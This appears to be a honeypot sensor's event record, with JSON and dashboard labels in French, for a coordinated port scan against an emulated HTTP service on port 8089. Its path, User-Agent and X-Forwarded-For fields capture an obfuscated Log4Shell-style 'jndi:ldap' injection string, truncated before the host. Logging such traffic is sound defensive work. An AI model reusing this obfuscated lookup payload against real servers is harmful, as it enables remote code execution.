"tags_summary_labels_fr": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"Beh Scan Burst",
"Beh Multi Port 60S"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1046",
"mitre_technique": "T1046",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"campagne_ports",
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Campagne multi-ports",
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +16",
"protocol_details": {
"http_method": "GET",
"http_path": "\/${${cb:eogf:-j}${j5md:-n}${d5mt:o0:94lu:-d}${mr:o:-i}${8tb:-:}${ud7q:d7tk:-l}${k84:t73:-d}${6i:z61:-a}${v5u8:-p}${xka:-:}${nmo:-\/}${h:6p:8:-\/}${a:c:-P}${s29:5\u2026",
"request_line": "GET \/${${cb:eogf:-j}${j5md:-n}${d5mt:o0:94lu:-d}${mr:o:-i}${8tb:-:}${ud7q:d7tk:-l}${k84:t73:-d}${6i:z61:-a}${v5u8:-p}${xka:-:}${nmo:-\/}${h:6p:8:-\/}${a:c:-P}${s29:5h:-A}${nui:-l}${5v:-0}${vx:-c}${mtk:\u2026",
"http_user_agent": "${${q4:-j}${f:-n}${foa3:js:-d}${z:-i}${p:0n:1:-:}${8:s:5:-l}${fy9:d:-d}${0:f:-a}${i1n:ga:-p}${2nc:-:}${v4q:027:w:-\/}${8\u2026",
"port": 8089,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port scan syn \u00b7 via HTTP:8089 \u00b7 (reconnaissance) \u00b7 \u2192 \/${${cb:eogf:-j}${j5md:-n}${d5mt:o0:94lu:-d}${m\u2026",
"evidence_snippet": "GET \/${${cb:eogf:-j}${j5md:-n}${d5mt:o0:94lu:-d}${mr:o:-i}${8tb:-:}${ud7q:d7tk:-l}${k84:t73:-d}${6i:z61:-a}${v5u8:-p}${xka:-:}${",
"target_port_label": "8089 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +16 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": true,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8089"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"port_scan_campaign": true,
"port_scan_distinct_ports": 5,
"port_scan_ports_sample": [
7005,
8083,
8084,
8087,
8089
],
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 9,
"behavior_alerts": [
"port_scan_campaign",
"coordinated_scan"
],
"correlation_confidence_boost": 16,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"net_slowloris",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:47:19 UTC
TCP
8089 · HTTP
Scan de ports
port scan syn · via HTTP:8089 · (reconnaissance)
Élevée
Élevé · 68
Détails
Voir
Étape
Reconnaissance
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Campagne multi-ports
Scan coordonné
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
23
Recommandation
Investiguer
Tags
950326:rce-0
950382:rce-14
950470:nosqli-3
950734:sap-sapcontrol-path
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8089
Chemin / cible
/
Pourquoi cette classification : Type « port_scan_syn » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +16
Risque capteur
Élevé
· 68
Confiance : Confiance 100 % — 4 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1046
SIGMA-net-port-scan
Beh Scan Burst
Beh Multi Port 60S
Tactiques MITRE
TA0043
Motifs de détection (base)
CRS 933135
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
rce-14
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8089
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac
Requête brute (extrait)
GET / HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8089 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 X-Forwarded-For: ${${cv:4h:ky9:-j}${v:ykbf
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 6,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "06b11278b3d8c06d12bf6f74085c2806fc07bb05",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 4096,
"payload_entropy": 4.881383139040344,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8089,
"risk_waf": 100,
"risk_classification": 64,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 7.4,
"risk_breakdown": {
"waf": 100,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 68,
"tag_count": 8,
"anomaly_count": 0,
"campaign_key": "c49531565cbeb51d7c2a913be8d9046438b7eac6",
"event_fingerprint": "de936a6432fb89a855da618305ffe2db3df65c5f",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 293,
"precision_signals": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"kb_rule_ids": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"matched_patterns": [
"pat-0162",
"pat-0324"
],
"matched_pattern_names": [
"CRS 933135",
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0162",
"pat-0324"
],
"confidence_breakdown": {
"waf": 100,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 68,
"correlation_boost": 16
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "d2cad3d76e46b37f12f25826daee4439",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8089,
"service": "http",
"service_name": "http",
"risk_score": 68
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950382:rce-14",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"rce-14",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nX-Forwarded-For: ${${cv:4h:ky9:-j}${v:ykbf",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950382:rce-14",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"rce-14",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nX-Forwarded-For: ${${cv:4h:ky9:-j}${v:ykbf",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "recon",
"mitre_tactics": [
"TA0043"
],
"mitre_techniques": [
"T1046"
],
"mitre": "T1046",
"threat_family": [
"scanner"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "a3a4e1836aded232db25a9eef9c317e9a6bd18a1",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8089,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"attack_vector": "port scan syn \u00b7 via HTTP:8089 \u00b7 (reconnaissance)",
"target_port_label": "8089 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 68\/100 (\u00c9lev\u00e9) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via HTTP \u2014 campagne multi-ports",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 68,
"correlation_boost": 16
},
"attack_stage": "recon",
"attack_stage_label": "Reconnaissance",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 68,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8089,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"tags_summary_labels_fr": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"Beh Scan Burst",
"Beh Multi Port 60S"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1046",
"mitre_technique": "T1046",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"campagne_ports",
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Campagne multi-ports",
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +16",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8089,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port scan syn \u00b7 via HTTP:8089 \u00b7 (reconnaissance)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"target_port_label": "8089 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +16 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": true,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8089"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"port_scan_campaign": true,
"port_scan_distinct_ports": 5,
"port_scan_ports_sample": [
7005,
8083,
8084,
8087,
8089
],
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 9,
"behavior_alerts": [
"port_scan_campaign",
"coordinated_scan"
],
"correlation_confidence_boost": 16,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950382:rce-14",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"http_auth_header_token",
"http_bearer_auth",
"http_header_x-forwarded-for",
"net_web_probe"
],
"asn_dc_heuristic": true
}